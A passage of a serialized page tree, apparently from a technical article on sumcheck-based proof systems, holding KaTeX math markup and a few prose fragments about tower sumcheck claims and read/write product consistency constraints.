",{"type":19,"tag":27,"props":116544,"children":116546},{"className":116545},[],[116547],{"type":24,"value":116548},"out_evals",{"type":24,"value":21413},{"type":19,"tag":20,"props":116551,"children":116552},{},[116553,116555],{"type":24,"value":116554},"The tower sumcheck claim is ",{"type":19,"tag":27,"props":116556,"children":116558},{"className":116557},[1411,1412],[116559],{"type":19,"tag":168,"props":116560,"children":116562},{"className":116561},[1417],[116563],{"type":19,"tag":168,"props":116564,"children":116566},{"className":116565,"ariaHidden":1423},[1422],[116567,116598,116723],{"type":19,"tag":168,"props":116568,"children":116570},{"className":116569},[1428],[116571,116575,116585,116589,116594],{"type":19,"tag":168,"props":116572,"children":116574},{"className":116573,"style":90450},[1433],[],{"type":19,"tag":168,"props":116576,"children":116578},{"className":116577},[1439,24],[116579],{"type":19,"tag":168,"props":116580,"children":116582},{"className":116581},[1439],[116583],{"type":24,"value":116584},"claim",{"type":19,"tag":168,"props":116586,"children":116588},{"className":116587,"style":1618},[1520],[],{"type":19,"tag":168,"props":116590,"children":116592},{"className":116591},[1623],[116593],{"type":24,"value":486},{"type":19,"tag":168,"props":116595,"children":116597},{"className":116596,"style":1618},[1520],[],{"type":19,"tag":168,"props":116599,"children":116601},{"className":116600},[1428],[116602,116607,116664,116668,116710,116714,116719],{"type":19,"tag":168,"props":116603,"children":116606},{"className":116604,"style":116605},[1433],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":19,"tag":168,"props":116608,"children":116610},{"className":116609},[19079],[116611,116616],{"type":19,"tag":168,"props":116612,"children":116614},{"className":116613,"style":19086},[19079,19084,19085],[116615],{"type":24,"value":106329},{"type":19,"tag":168,"props":116617,"children":116619},{"className":116618},[1456],[116620],{"type":19,"tag":168,"props":116621,"children":116623},{"className":116622},[1461,19097],[116624,116653],{"type":19,"tag":168,"props":116625,"children":116627},{"className":116626},[1466],[116628,116648],{"type":19,"tag":168,"props":116629,"children":116631},{"className":116630,"style":111741},[1471],[116632],{"type":19,"tag":168,"props":116633,"children":116634},{"style":19110},[116635,116639],{"type":19,"tag":168,"props":116636,"children":116638},{"className":116637,"style":1481},[1480],[],{"type":19,"tag":168,"props":116640,"children":116642},{"className":116641},[1486,1487,1488,1489],[116643],{"type":19,"tag":168,"props":116644,"children":116646},{"className":116645,"style":111757},[1439,19043,1489],[116647],{"type":24,"value":6094},{"type":19,"tag":168,"props":116649,"children":116651},{"className":116650},[19200],[116652],{"type":24,"value":19203},{"type":19,"tag":168,"props":116654,"children":116656},{"className":116655},[1466],[116657],{"type":19,"tag":168,"props":116658,"children":116660},{"className":116659,"style":111772},[1471],[116661],{"type":19,"tag":168,"props":116662,"children":116663},{},[],{"type":19,"tag":168,"props":116665,"children":116667},{"className":116666,"style":1559},[1520],[],{"type":19,"tag":168,"props":116669,"children":116671},{"className":116670},[1439],[116672,116677],{"type":19,"tag":168,"props":116673,"children":116675},{"className":116674,"style":112622},[1439,19043],[116676],{"type":24,"value":112625},{"type":19,"tag":168,"props":116678,"children":116680},{"className":116679},[1456],[116681],{"type":19,"tag":168,"props":116682,"children":116684},{"className":116683},[1461],[116685],{"type":19,"tag":168,"props":116686,"children":116688},{"className":116687},[1466],[116689],{"type":19,"tag":168,"props":116690,"children":116693},{"className":116691,"style":116692},[1471],"height:0.8247em;",[116694],{"type":19,"tag":168,"props":116695,"children":116696},{"style":1475},[116697,116701],{"type":19,"tag":168,"props":116698,"children":116700},{"className":116699,"style":1481},[1480],[],{"type":19,"tag":168,"props":116702,"children":116704},{"className":116703},[1486,1487,1488,1489],[116705],{"type":19,"tag":168,"props":116706,"children":116708},{"className":116707,"style":111757},[1439,19043,1489],[116709],{"type":24,"value":6094},{"type":19,"tag":168,"props":116711,"children":116713},{"className":116712,"style":1521},[1520],[],{"type":19,"tag":168,"props":116715,"children":116717},{"className":116716},[1526],[116718],{"type":24,"value":108796},{"type":19,"tag":168,"props":116720,"children":116722},{"className":116721,"style":1521},[1520],[],{"type":19,"tag":168,"props":116724,"children":116726},{"className":116725},[1428],[116727,116731,116740,116745],{"type":19,"tag":168,"props":116728,"children":116730},{"className":116729,"style":91948},[1433],[],{"type":19,"tag":168,"props":116732,"children":116734},{"className":116733},[1439,24],[116735],{"type":19,"tag":168,"props":116736,"children":116738},{"className":116737},[1439],[116739],{"type":24,"value":116208},{"type":19,"tag":168,"props":116741,"children":116743},{"className":116742,"style":90535},[1439],[116744],{"type":24,"value":476},{"type":19,"tag":168,"props":116746,"children":116748},{"className":116747},[1439],[116749,116758],{"type":19,"tag":168,"props":116750,"children":116752},{"className":116751},[1439,24],[116753],{"type":19,"tag":168,"props":116754,"children":116756},{"className":116755},[1439],[116757],{"type":24,"value":116227},{"type":19,"tag":168,"props":116759,"children":116761},{"className":116760},[1456],[116762],{"type":19,"tag":168,"props":116763,"children":116765},{"className":116764},[1461,19097],[116766,116795],{"type":19,"tag":168,"props":116767,"children":116769},{"className":116768},[1466],[116770,116790],{"type":19,"tag":168,"props":116771,"children":116773},{"className":116772,"style":91064},[1471],[116774],{"type":19,"tag":168,"props":116775,"children":116776},{"style":111664},[116777,116781],{"type":19,"tag":168,"props":116778,"children":116780},{"className":116779,"style":1481},[1480],[],{"type":19,"tag":168,"props":116782,"children":116784},{"className":116783},[1486,1487,1488,1489],[116785],{"type":19,"tag":168,"props":116786,"children":116788},{"className":116787,"style":111757},[1439,19043,1489],[116789],{"type":24,"value":6094},{"type":19,"tag":168,"props":116791,"children":116793},{"className":116792},[19200],[116794],{"type":24,"value":19203},{"type":19,"tag":168,"props":116796,"children":116798},{"className":116797},[1466],[116799],{"type":19,"tag":168,"props":116800,"children":116802},{"className":116801,"style":116444},[1471],[116803],{"type":19,"tag":168,"props":116804,"children":116805},{},[],{"type":19,"tag":20,"props":116807,"children":116808},{},[116809,116811,116816],{"type":24,"value":116810},"This check is linear in ",{"type":19,"tag":27,"props":116812,"children":116814},{"className":116813},[],[116815],{"type":24,"value":116548},{"type":24,"value":948},{"type":19,"tag":2869,"props":116818,"children":116819},{"start":198},[116820],{"type":19,"tag":47,"props":116821,"children":116822},{},[116823,116828,116830,116835],{"type":19,"tag":51,"props":116824,"children":116825},{},[116826],{"type":24,"value":116827},"rw-product consistency",{"type":24,"value":116829}," (bilinear in ",{"type":19,"tag":27,"props":116831,"children":116833},{"className":116832},[],[116834],{"type":24,"value":116548},{"type":24,"value":21413},{"type":19,"tag":20,"props":116837,"children":116838},{},[116839],{"type":19,"tag":27,"props":116840,"children":116842},{"className":116841},[1411,1412],[116843],{"type":19,"tag":168,"props":116844,"children":116846},{"className":116845},[1417],[116847],{"type":19,"tag":168,"props":116848,"children":116850},{"className":116849,"ariaHidden":1423},[1422],[116851,117022,117193],{"type":19,"tag":168,"props":116852,"children":116854},{"className":116853},[1428],[116855,116859,116916,116920,116929,116934,116943,116948,117009,117013,117018],{"type":19,"tag":168,"props":116856,"children":116858},{"className":116857,"style":90477},[1433],[],{"type":19,"tag":168,"props":116860,"children":116862},{"className":116861},[19079],[116863,116868],{"type":19,"tag":168,"props":116864,"children":116866},{"className":116865,"style":19086},[19079,19084,19085],[116867],{"type":24,"value":116132},{"type":19,"tag":168,"props":116869,"children":116871},{"className":116870},[1456],[116872],{"type":19,"tag":168,"props":116873,"children":116875},{"className":116874},[1461,19097],[116876,116905],{"type":19,"tag":168,"props":116877,"children":116879},{"className":116878},[1466],[116880,116900],{"type":19,"tag":168,"props":116881,"children":116883},{"className":116882,"style":111741},[1471],[116884],{"type":19,"tag":168,"props":116885,"children":116886},{"style":19110},[116887,116891],{"type":19,"tag":168,"props":116888,"children":116890},{"className":116889,"style":1481},[1480],[],{"type":19,"tag":168,"props":116892,"children":116894},{"className":116893},[1486,1487,1488,1489],[116895],{"type":19,"tag":168,"props":116896,"children":116898},{"className":116897},[1439,19043,1489],[116899],{"type":24,"value":1157},{"type":19,"tag":168,"props":116901,"children":116903},{"className":116902},[19200],[116904],{"type":24,"value":19203},{"type":19,"tag":168,"props":116906,"children":116908},{"className":116907},[1466],[116909],{"type":19,"tag":168,"props":116910,"children":116912},{"className":116911,"style":112021},[1471],[116913],{"type":19,"tag":168,"props":116914,"children":116915},{},[],{"type":19,"tag":168,"props":116917,"children":116919},{"className":116918,"style":1559},[1520],[],{"type":19,"tag":168,"props":116921,"children":116923},{"className":116922},[1439,24],[116924],{"type":19,"tag":168,"props":116925,"children":116927},{"className":116926},[1439],[116928],{"type":24,"value":91354},{"type":19,"tag":168,"props":116930,"children":116932},{"className":116931,"style":90535},[1439],[116933],{"type":24,"value":476},{"type":19,"tag":168,"props":116935,"children":116937},{"className":116936},[1439,24],[116938],{"type":19,"tag":168,"props":116939,"children":116941},{"className":116940},[1439],[116942],{"type":24,"value":116208},{"type":19,"tag":168,"props":116944,"children":116946},{"className":116945,"style":90535},[1439],[116947],{"type":24,"value":476},{"type":19,"tag":168,"props":116949,"children":116951},{"className":116950},[1439],[116952,116961],{"type":19,"tag":168,"props":116953,"children":116955},{"className":116954},[1439,24],[116956],{"type":19,"tag":168,"props":116957,"children":116959},{"className":116958},[1439],[116960],{"type":24,"value":116227},{"type":19,"tag":168,"props":116962,"children":116964},{"className":116963},[1456],[116965],{"type":19,"tag":168,"props":116966,"children":116968},{"className":116967},[1461,19097],[116969,116998],{"type":19,"tag":168,"props":116970,"children":116972},{"className":116971},[1466],[116973,116993],{"type":19,"tag":168,"props":116974,"children":116976},{"className":116975,"style":91064},[1471],[116977],{"type":19,"tag":168,"props":116978,"children":116979},{"style":111664},[116980,116984],{"type":19,"tag":168,"props":116981,"children":116983},{"className":116982,"style":1481},[1480],[],{"type":19,"tag":168,"props":116985,"children":116987},{"className":116986},[1486,1487,1488,1489],[116988],{"type":19,"tag":168,"props":116989,"children":116991},{"className":116990},[1439,19043,1489],[116992],{"type":24,"value":1157},{"type":19,"tag":168,"props":116994,"children":116996},{"className":116995},[19200],[116997],{"type":24,"value":19203},{"type":19,"tag":168,"props":116999,"children":117001},{"className":117000},[1466],[117002],{"type":19,"tag":168,"props":117003,"children":117005},{"className":117004,"style":90618},[1471],[117006],{"type":19,"tag":168,"props":117007,"children":117008},{},[],{"type":19,"tag":168,"props":117010,"children":117012},{"className":117011,"style":1618},[1520],[],{"type":19,"tag":168,"props":117014,"children":117016},{"className":117015},[1623],[117017],{"type":24,"value":486},{"type":19,"tag":168,"props":117019,"children":117021},{"className":117020,"style":1618},[1520],[],{"type":19,"tag":168,"props":117023,"children":117025},{"className":117024},[1428],[117026,117030,117087,117091,117100,117105,117114,117119,117180,117184,117189],{"type":19,"tag":168,"props":117027,"children":117029},{"className":117028,"style":116296},[1433],[],{"type":19,"tag":168,"props":117031,"children":117033},{"className":117032},[19079],[117034,117039],{"type":19,"tag":168,"props":117035,"children":117037},{"className":117036,"style":19086},[19079,19084,19085],[117038],{"type":24,"value":116132},{"type":19,"tag":168,"props":117040,"children":117042},{"className":117041},[1456],[117043],{"type":19,"tag":168,"props":117044,"children":117046},{"className":117045},[1461,19097],[117047,117076],{"type":19,"tag":168,"props":117048,"children":117050},{"className":117049},[1466],[117051,117071],{"type":19,"tag":168,"props":117052,"children":117054},{"className":117053,"style":111741},[1471],[117055],{"type":19,"tag":168,"props":117056,"children":117057},{"style":19110},[117058,117062],{"type":19,"tag":168,"props":117059,"children":117061},{"className":117060,"style":1481},[1480],[],{"type":19,"tag":168,"props":117063,"children":117065},{"className":117064},[1486,1487,1488,1489],[117066],{"type":19,"tag":168,"props":117067,"children":117069},{"className":117068,"style":111757},[1439,19043,1489],[117070],{"type":24,"value":6094},{"type":19,"tag":168,"props":117072,"children":117074},{"className":117073},[19200],[117075],{"type":24,"value":19203},{"type":19,"tag":168,"props":117077,"children":117079},{"className":117078},[1466],[117080],{"type":19,"tag":168,"props":117081,"children":117083},{"className":117082,"style":111772},[1471],[117084],{"type":19,"tag":168,"props":117085,"children":117086},{},[],{"type":19,"tag":168,"props":117088,"children":117090},{"className":117089,"style":1559},[1520],[],{"type":19,"tag":168,"props":117092,"children":117094},{"className":117093},[1439,24],[117095],{"type":19,"tag":168,"props":117096,"children":117098},{"className":117097},[1439],[117099],{"type":24,"value":47054},{"type":19,"tag":168,"props":117101,"children":117103},{"className":117102,"style":90535},[1439],[117104],{"type":24,"value":476},{"type":19,"tag":168,"props":117106,"children":117108},{"className":117107},[1439,24],[117109],{"type":19,"tag":168,"props":117110,"children":117112},{"className":117111},[1439],[117113],{"type":24,"value":116208},{"type":19,"tag":168,"props":117115,"children":117117},{"className":117116,"style":90535},[1439],[117118],{"type":24,"value":476},{"type":19,"tag":168,"props":117120,"children":117122},{"className":117121},[1439],[117123,117132],{"type":19,"tag":168,"props":117124,"children":117126},{"className":117125},[1439,24],[117127],{"type":19,"tag":168,"props":117128,"children":117130},{"className":117129},[1439],[117131],{"type":24,"value":116227},{"type":19,"tag":168,"props":117133,"children":117135},{"className":117134},[1456],[117136],{"type":19,"tag":168,"props":117137,"children":117139},{"className":117138},[1461,19097],[117140,117169],{"type":19,"tag":168,"props":117141,"children":117143},{"className":117142},[1466],[117144,117164],{"type":19,"tag":168,"props":117145,"children":117147},{"className":117146,"style":91064},[1471],[117148],{"type":19,"tag":168,"props":117149,"children":117150},{"style":111664},[117151,117155],{"type":19,"tag":168,"props":117152,"children":117154},{"className":117153,"style":1481},[1480],[],{"type":19,"tag":168,"props":117156,"children":117158},{"className":117157},[1486,1487,1488,1489],[117159],{"type":19,"tag":168,"props":117160,"children":117162},{"className":117161,"style":111757},[1439,19043,1489],[117163],{"type":24,"value":6094},{"type":19,"tag":168,"props":117165,"children":117167},{"className":117166},[19200],[117168],{"type":24,"value":19203},{"type":19,"tag":168,"props":117170,"children":117172},{"className":117171},[1466],[117173],{"type":19,"tag":168,"props":117174,"children":117176},{"className":117175,"style":116444},[1471],[117177],{"type":19,"tag":168,"props":117178,"children":117179},{},[],{"type":19,"tag":168,"props":117181,"children":117183},{"className":117182,"style":1521},[1520],[],{"type":19,"tag":168,"props":117185,"children":117187},{"className":117186},[1526],[117188],{"type":24,"value":108796},{"type":19,"tag":168,"props":117190,"children":117192},{"className":117191,"style":1521},[1520],[],{"type":19,"tag":168,"props":117194,"children":117196},{"className":117195},[1428],[117197,117201,117206,117215],{"type":19,"tag":168,"props":117198,"children":117200},{"className":117199,"style":1541},[1433],[],{"type":19,"tag":168,"props":117202,"children":117204},{"className":117203},[19172],[117205],{"type":24,"value":500},{"type":19,"tag":168,"props":117207,"children":117209},{"className":117208},[1439,24],[117210],{"type":19,"tag":168,"props":117211,"children":117213},{"className":117212},[1439],[117214],{"type":24,"value":116484},{"type":19,"tag":168,"props":117216,"children":117218},{"className":117217},[19194],[117219],{"type":24,"value":524},{"type":19,"tag":20,"props":117221,"children":117222},{},[117223,117225,117394,117395,117564],{"type":24,"value":117224},"If we vary ",{"type":19,"tag":27,"props":117226,"children":117228},{"className":117227},[1411,1412],[117229],{"type":19,"tag":168,"props":117230,"children":117232},{"className":117231},[1417],[117233],{"type":19,"tag":168,"props":117234,"children":117236},{"className":117235,"ariaHidden":1423},[1422],[117237,117315],{"type":19,"tag":168,"props":117238,"children":117240},{"className":117239},[1428],[117241,117245,117302,117306,117311],{"type":19,"tag":168,"props":117242,"children":117244},{"className":117243,"style":107504},[1433],[],{"type":19,"tag":168,"props":117246,"children":117248},{"className":117247},[1439],[117249,117254],{"type":19,"tag":168,"props":117250,"children":117252},{"className":117251},[1439,19043],[117253],{"type":24,"value":16729},{"type":19,"tag":168,"props":117255,"children":117257},{"className":117256},[1456],[117258],{"type":19,"tag":168,"props":117259,"children":117261},{"className":117260},[1461,19097],[117262,117291],{"type":19,"tag":168,"props":117263,"children":117265},{"className":117264},[1466],[117266,117286],{"type":19,"tag":168,"props":117267,"children":117269},{"className":117268,"style":90587},[1471],[117270],{"type":19,"tag":168,"props":117271,"children":117272},{"style":90591},[117273,117277],{"type":19,"tag":168,"props":117274,"children":117276},{"className":117275,"style":1481},[1480],[],{"type":19,"tag":168,"props":117278,"children":117280},{"className":117279},[1486,1487,1488,1489],[117281],{"type":19,"tag":168,"props":117282,"children":117284},{"className":117283},[1439,1489],[117285],{"type":24,"value":1452},{"type":19,"tag":168,"props":117287,"children":117289},{"className":117288},[19200],[117290],{"type":24,"value":19203},{"type":19,"tag":168,"props":117292,"children":117294},{"className":117293},[1466],[117295],{"type":19,"tag":168,"props":117296,"children":117298},{"className":117297,"style":90618},[1471],[117299],{"type":19,"tag":168,"props":117300,"children":117301},{},[],{"type":19,"tag":168,"props":117303,"children":117305},{"className":117304,"style":1618},[1520],[],{"type":19,"tag":168,"props":117307,"children":117309},{"className":117308},[1623],[117310],{"type":24,"value":486},{"type":19,"tag":168,"props":117312,"children":117314},{"className":117313,"style":1618},[1520],[],{"type":19,"tag":168,"props":117316,"children":117318},{"className":117317},[1428],[117319,117323,117364,117369,117374,117379,117384,117389],{"type":19,"tag":168,"props":117320,"children":117322},{"className":117321,"style":90477},[1433],[],{"type":19,"tag":168,"props":117324,"children":117326},{"className":117325},[1439],[117327,117336,117341,117350,117355],{"type":19,"tag":168,"props":117328,"children":117330},{"className":117329},[1439,24],[117331],{"type":19,"tag":168,"props":117332,"children":117334},{"className":117333},[1439],[117335],{"type":24,"value":91354},{"type":19,"tag":168,"props":117337,"children":117339},{"className":117338,"style":90535},[1439],[117340],{"type":24,"value":476},{"type":19,"tag":168,"props":117342,"children":117344},{"className":117343},[1439,24],[117345],{"type":19,"tag":168,"props":117346,"children":117348},{"className":117347},[1439],[117349],{"type":24,"value":116208},{"type":19,"tag":168,"props":117351,"children":117353},{"className":117352,"style":90535},[1439],[117354],{"type":24,"value":476},{"type":19,"tag":168,"props":117356,"children":117358},{"className":117357},[1439,24],[117359],{"type":19,"tag":168,"props":117360,"children":117362},{"className":117361},[1439],[117363],{"type":24,"value":116227},{"type":19,"tag":168,"props":117365,"children":117367},{"className":117366},[19172],[117368],{"type":24,"value":1152},{"type":19,"tag":168,"props":117370,"children":117372},{"className":117371},[1439],[117373],{"type":24,"value":1452},{"type":19,"tag":168,"props":117375,"children":117377},{"className":117376},[19194],[117378],{"type":24,"value":12858},{"type":19,"tag":168,"props":117380,"children":117382},{"className":117381},[19172],[117383],{"type":24,"value":1152},{"type":19,"tag":168,"props":117385,"children":117387},{"className":117386},[1439],[117388],{"type":24,"value":1452},{"type":19,"tag":168,"props":117390,"children":117392},{"className":117391},[19194],[117393],{"type":24,"value":12858},{"type":24,"value":8436},{"type":19,"tag":27,"props":117396,"children":117398},{"className":117397},[1411,1412],[117399],{"type":19,"tag":168,"props":117400,"children":117402},{"className":117401},[1417],[117403],{"type":19,"tag":168,"props":117404,"children":117406},{"className":117405,"ariaHidden":1423},[1422],[117407,117485],{"type":19,"tag":168,"props":117408,"children":117410},{"className":117409},[1428],[117411,117415,117472,117476,117481],{"type":19,"tag":168,"props":117412,"children":117414},{"className":117413,"style":107504},[1433],[],{"type":19,"tag":168,"props":117416,"children":117418},{"className":117417},[1439],[117419,117424],{"type":19,"tag":168,"props":117420,"children":117422},{"className":117421},[1439,19043],[117423],{"type":24,"value":16729},{"type":19,"tag":168,"props":117425,"children":117427},{"className":117426},[1456],[117428],{"type":19,"tag":168,"props":117429,"children":117431},{"className":117430},[1461,19097],[117432,117461],{"type":19,"tag":168,"props":117433,"children":117435},{"className":117434},[1466],[117436,117456],{"type":19,"tag":168,"props":117437,"children":117439},{"className":117438,"style":90587},[1471],[117440],{"type":19,"tag":168,"props":117441,"children":117442},{"style":90591},[117443,117447],{"type":19,"tag":168,"props":117444,"children":117446},{"className":117445,"style":1481},[1480],[],{"type":19,"tag":168,"props":117448,"children":117450},{"className":117449},[1486,1487,1488,1489],[117451],{"type":19,"tag":168,"props":117452,"children":117454},{"className":117453},[1439,1489],[117455],{"type":24,"value":1442},{"type":19,"tag":168,"props":117457,"children":117459},{"className":117458},[19200],[117460],{"type":24,"value":19203},{"type":19,"tag":168,"props":117462,"children":117464},{"className":117463},[1466],[117465],{"type":19,"tag":168,"props":117466,"children":117468},{"className":117467,"style":90618},[1471],[117469],{"type":19,"tag":168,"props":117470,"children":117471},{},[],{"type":19,"tag":168,"props":117473,"children":117475},{"className":117474,"style":1618},[1520],[],{"type":19,"tag":168,"props":117477,"children":117479},{"className":117478},[1623],[117480],{"type":24,"value":486},{"type":19,"tag":168,"props":117482,"children":117484},{"className":117483,"style":1618},[1520],[],{"type":19,"tag":168,"props":117486,"children":117488},{"className":117487},[1428],[117489,117493,117534,117539,117544,117549,117554,117559],{"type":19,"tag":168,"props":117490,"children":117492},{"className":117491,"style":90477},[1433],[],{"type":19,"tag":168,"props":117494,"children":117496},{"className":117495},[1439],[117497,117506,117511,117520,117525],{"type":19,"tag":168,"props":117498,"children":117500},{"className":117499},[1439,24],[117501],{"type":19,"tag":168,"props":117502,"children":117504},{"className":117503},[1439],[117505],{"type":24,"value":91354},{"type":19,"tag":168,"props":117507,"children":117509},{"className":117508,"style":90535},[1439],[117510],{"type":24,"value":476},{"type":19,"tag":168,"props":117512,"children":117514},{"className":117513},[1439,24],[117515],{"type":19,"tag":168,"props":117516,"children":117518},{"className":117517},[1439],[117519],{"type":24,"value":116208},{"type":19,"tag":168,"props":117521,"children":117523},{"className":117522,"style":90535},[1439],[117524],{"type":24,"value":476},{"type":19,"tag":168,"props":117526,"children":117528},{"className":117527},[1439,24],[117529],{"type":19,"tag":168,"props":117530,"children":117532},{"className":117531},[1439],[117533],{"type":24,"value":116227},{"type":19,"tag":168,"props":117535,"children":117537},{"className":117536},[19172],[117538],{"type":24,"value":1152},{"type":19,"tag":168,"props":117540,"children":117542},{"className":117541},[1439],[117543],{"type":24,"value":1452},{"type":19,"tag":168,"props":117545,"children":117547},{"className":117546},[19194],[117548],{"type":24,"value":12858},{"type":19,"tag":168,"props":117550,"children":117552},{"className":117551},[19172],[117553],{"type":24,"value":1152},{"type":19,"tag":168,"props":117555,"children":117557},{"className":117556},[1439],[117558],{"type":24,"value":1442},{"type":19,"tag":168,"props":117560,"children":117562},{"className":117561},[19194],[117563],{"type":24,"value":12858},{"type":24,"value":117565}," we get the following constraint:",{"type":19,"tag":20,"props":117567,"children":117568},{},[117569],{"type":19,"tag":27,"props":117570,"children":117572},{"className":117571},[1411,1412],[117573],{"type":19,"tag":168,"props":117574,"children":117576},{"className":117575},[1417],[117577],{"type":19,"tag":168,"props":117578,"children":117580},{"className":117579,"ariaHidden":1423},[1422],[117581,117660,117738,117779],{"type":19,"tag":168,"props":117582,"children":117584},{"className":117583},[1428],[117585,117590,117647,117651,117656],{"type":19,"tag":168,"props":117586,"children":117589},{"className":117587,"style":117588},[1433],"height:0.5945em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":117591,"children":117593},{"className":117592},[1439],[117594,117599],{"type":19,"tag":168,"props":117595,"children":117597},{"className":117596},[1439,19043],[117598],{"type":24,"value":16729},{"type":19,"tag":168,"props":117600,"children":117602},{"className":117601},[1456],[117603],{"type":19,"tag":168,"props":117604,"children":117606},{"className":117605},[1461,19097],[117607,117636],{"type":19,"tag":168,"props":117608,"children":117610},{"className":117609},[1466],[117611,117631],{"type":19,"tag":168,"props":117612,"children":117614},{"className":117613,"style":90587},[1471],[117615],{"type":19,"tag":168,"props":117616,"children":117617},{"style":90591},[117618,117622],{"type":19,"tag":168,"props":117619,"children":117621},{"className":117620,"style":1481},[1480],[],{"type":19,"tag":168,"props":117623,"children":117625},{"className":117624},[1486,1487,1488,1489],[117626],{"type":19,"tag":168,"props":117627,"children":117629},{"className":117628},[1439,1489],[117630],{"type":24,"value":1452},{"type":19,"tag":168,"props":117632,"children":117634},{"className":117633},[19200],[117635],{"type":24,"value":19203},{"type":19,"tag":168,"props":117637,"children":117639},{"className":117638},[1466],[117640],{"type":19,"tag":168,"props":117641,"children":117643},{"className":117642,"style":90618},[1471],[117644],{"type":19,"tag":168,"props":117645,"children":117646},{},[],{"type":19,"tag":168,"props":117648,"children":117650},{"className":117649,"style":1521},[1520],[],{"type":19,"tag":168,"props":117652,"children":117654},{"className":117653},[1526],[117655],{"type":24,"value":108796},{"type":19,"tag":168,"props":117657,"children":117659},{"className":117658,"style":1521},[1520],[],{"type":19,"tag":168,"props":117661,"children":117663},{"className":117662},[1428],[117664,117668,117725,117729,117734],{"type":19,"tag":168,"props":117665,"children":117667},{"className":117666,"style":117588},[1433],[],{"type":19,"tag":168,"props":117669,"children":117671},{"className":117670},[1439],[117672,117677],{"type":19,"tag":168,"props":117673,"children":117675},{"className":117674},[1439,19043],[117676],{"type":24,"value":16729},{"type":19,"tag":168,"props":117678,"children":117680},{"className":117679},[1456],[117681],{"type":19,"tag":168,"props":117682,"children":117684},{"className":117683},[1461,19097],[117685,117714],{"type":19,"tag":168,"props":117686,"children":117688},{"className":117687},[1466],[117689,117709],{"type":19,"tag":168,"props":117690,"children":117692},{"className":117691,"style":90587},[1471],[117693],{"type":19,"tag":168,"props":117694,"children":117695},{"style":90591},[117696,117700],{"type":19,"tag":168,"props":117697,"children":117699},{"className":117698,"style":1481},[1480],[],{"type":19,"tag":168,"props":117701,"children":117703},{"className":117702},[1486,1487,1488,1489],[117704],{"type":19,"tag":168,"props":117705,"children":117707},{"className":117706},[1439,1489],[117708],{"type":24,"value":1442},{"type":19,"tag":168,"props":117710,"children":117712},{"className":117711},[19200],[117713],{"type":24,"value":19203},{"type":19,"tag":168,"props":117715,"children":117717},{"className":117716},[1466],[117718],{"type":19,"tag":168,"props":117719,"children":117721},{"className":117720,"style":90618},[1471],[117722],{"type":19,"tag":168,"props":117723,"children":117724},{},[],{"type":19,"tag":168,"props":117726,"children":117728},{"className":117727,"style":1521},[1520],[],{"type":19,"tag":168,"props":117730,"children":117732},{"className":117731},[1526],[117733],{"type":24,"value":108796},{"type":19,"tag":168,"props":117735,"children":117737},{"className":117736,"style":1521},[1520],[],{"type":19,"tag":168,"props":117739,"children":117741},{"className":117740},[1428],[117742,117746,117751,117761,117766,117770,117775],{"type":19,"tag":168,"props":117743,"children":117745},{"className":117744,"style":1541},[1433],[],{"type":19,"tag":168,"props":117747,"children":117749},{"className":117748},[19172],[117750],{"type":24,"value":500},{"type":19,"tag":168,"props":117752,"children":117754},{"className":117753},[1439,24],[117755],{"type":19,"tag":168,"props":117756,"children":117758},{"className":117757},[1439],[117759],{"type":24,"value":117760},"rest of product",{"type":19,"tag":168,"props":117762,"children":117764},{"className":117763},[19194],[117765],{"type":24,"value":524},{"type":19,"tag":168,"props":117767,"children":117769},{"className":117768,"style":1618},[1520],[],{"type":19,"tag":168,"props":117771,"children":117773},{"className":117772},[1623],[117774],{"type":24,"value":486},{"type":19,"tag":168,"props":117776,"children":117778},{"className":117777,"style":1618},[1520],[],{"type":19,"tag":168,"props":117780,"children":117782},{"className":117781},[1428],[117783,117787],{"type":19,"tag":168,"props":117784,"children":117786},{"className":117785,"style":112554},[1433],[],{"type":19,"tag":168,"props":117788,"children":117790},{"className":117789},[1439,24],[117791],{"type":19,"tag":168,"props":117792,"children":117794},{"className":117793},[1439],[117795],{"type":24,"value":112565},{"type":19,"tag":20,"props":117797,"children":117798},{},[117799,117801,117954],{"type":24,"value":117800},"This is bilinear in ",{"type":19,"tag":27,"props":117802,"children":117804},{"className":117803},[1411,1412],[117805],{"type":19,"tag":168,"props":117806,"children":117808},{"className":117807},[1417],[117809],{"type":19,"tag":168,"props":117810,"children":117812},{"className":117811,"ariaHidden":1423},[1422],[117813],{"type":19,"tag":168,"props":117814,"children":117816},{"className":117815},[1428],[117817,117821,117826,117883,117888,117892,117949],{"type":19,"tag":168,"props":117818,"children":117820},{"className":117819,"style":1541},[1433],[],{"type":19,"tag":168,"props":117822,"children":117824},{"className":117823},[19172],[117825],{"type":24,"value":500},{"type":19,"tag":168,"props":117827,"children":117829},{"className":117828},[1439],[117830,117835],{"type":19,"tag":168,"props":117831,"children":117833},{"className":117832},[1439,19043],[117834],{"type":24,"value":16729},{"type":19,"tag":168,"props":117836,"children":117838},{"className":117837},[1456],[117839],{"type":19,"tag":168,"props":117840,"children":117842},{"className":117841},[1461,19097],[117843,117872],{"type":19,"tag":168,"props":117844,"children":117846},{"className":117845},[1466],[117847,117867],{"type":19,"tag":168,"props":117848,"children":117850},{"className":117849,"style":90587},[1471],[117851],{"type":19,"tag":168,"props":117852,"children":117853},{"style":90591},[117854,117858],{"type":19,"tag":168,"props":117855,"children":117857},{"className":117856,"style":1481},[1480],[],{"type":19,"tag":168,"props":117859,"children":117861},{"className":117860},[1486,1487,1488,1489],[117862],{"type":19,"tag":168,"props":117863,"children":117865},{"className":117864},[1439,1489],[117866],{"type":24,"value":1452},{"type":19,"tag":168,"props":117868,"children":117870},{"className":117869},[19200],[117871],{"type":24,"value":19203},{"type":19,"tag":168,"props":117873,"children":117875},{"className":117874},[1466],[117876],{"type":19,"tag":168,"props":117877,"children":117879},{"className":117878,"style":90618},[1471],[117880],{"type":19,"tag":168,"props":117881,"children":117882},{},[],{"type":19,"tag":168,"props":117884,"children":117886},{"className":117885},[1552],[117887],{"type":24,"value":1555},{"type":19,"tag":168,"props":117889,"children":117891},{"className":117890,"style":1559},[1520],[],{"type":19,"tag":168,"props":117893,"children":117895},{"className":117894},[1439],[117896,117901],{"type":19,"tag":168,"props":117897,"children":117899},{"className":117898},[1439,19043],[117900],{"type":24,"value":16729},{"type":19,"tag":168,"props":117902,"children":117904},{"className":117903},[1456],[117905],{"type":19,"tag":168,"props":117906,"children":117908},{"className":117907},[1461,19097],[117909,117938],{"type":19,"tag":168,"props":117910,"children":117912},{"className":117911},[1466],[117913,117933],{"type":19,"tag":168,"props":117914,"children":117916},{"className":117915,"style":90587},[1471],[117917],{"type":19,"tag":168,"props":117918,"children":117919},{"style":90591},[117920,117924],{"type":1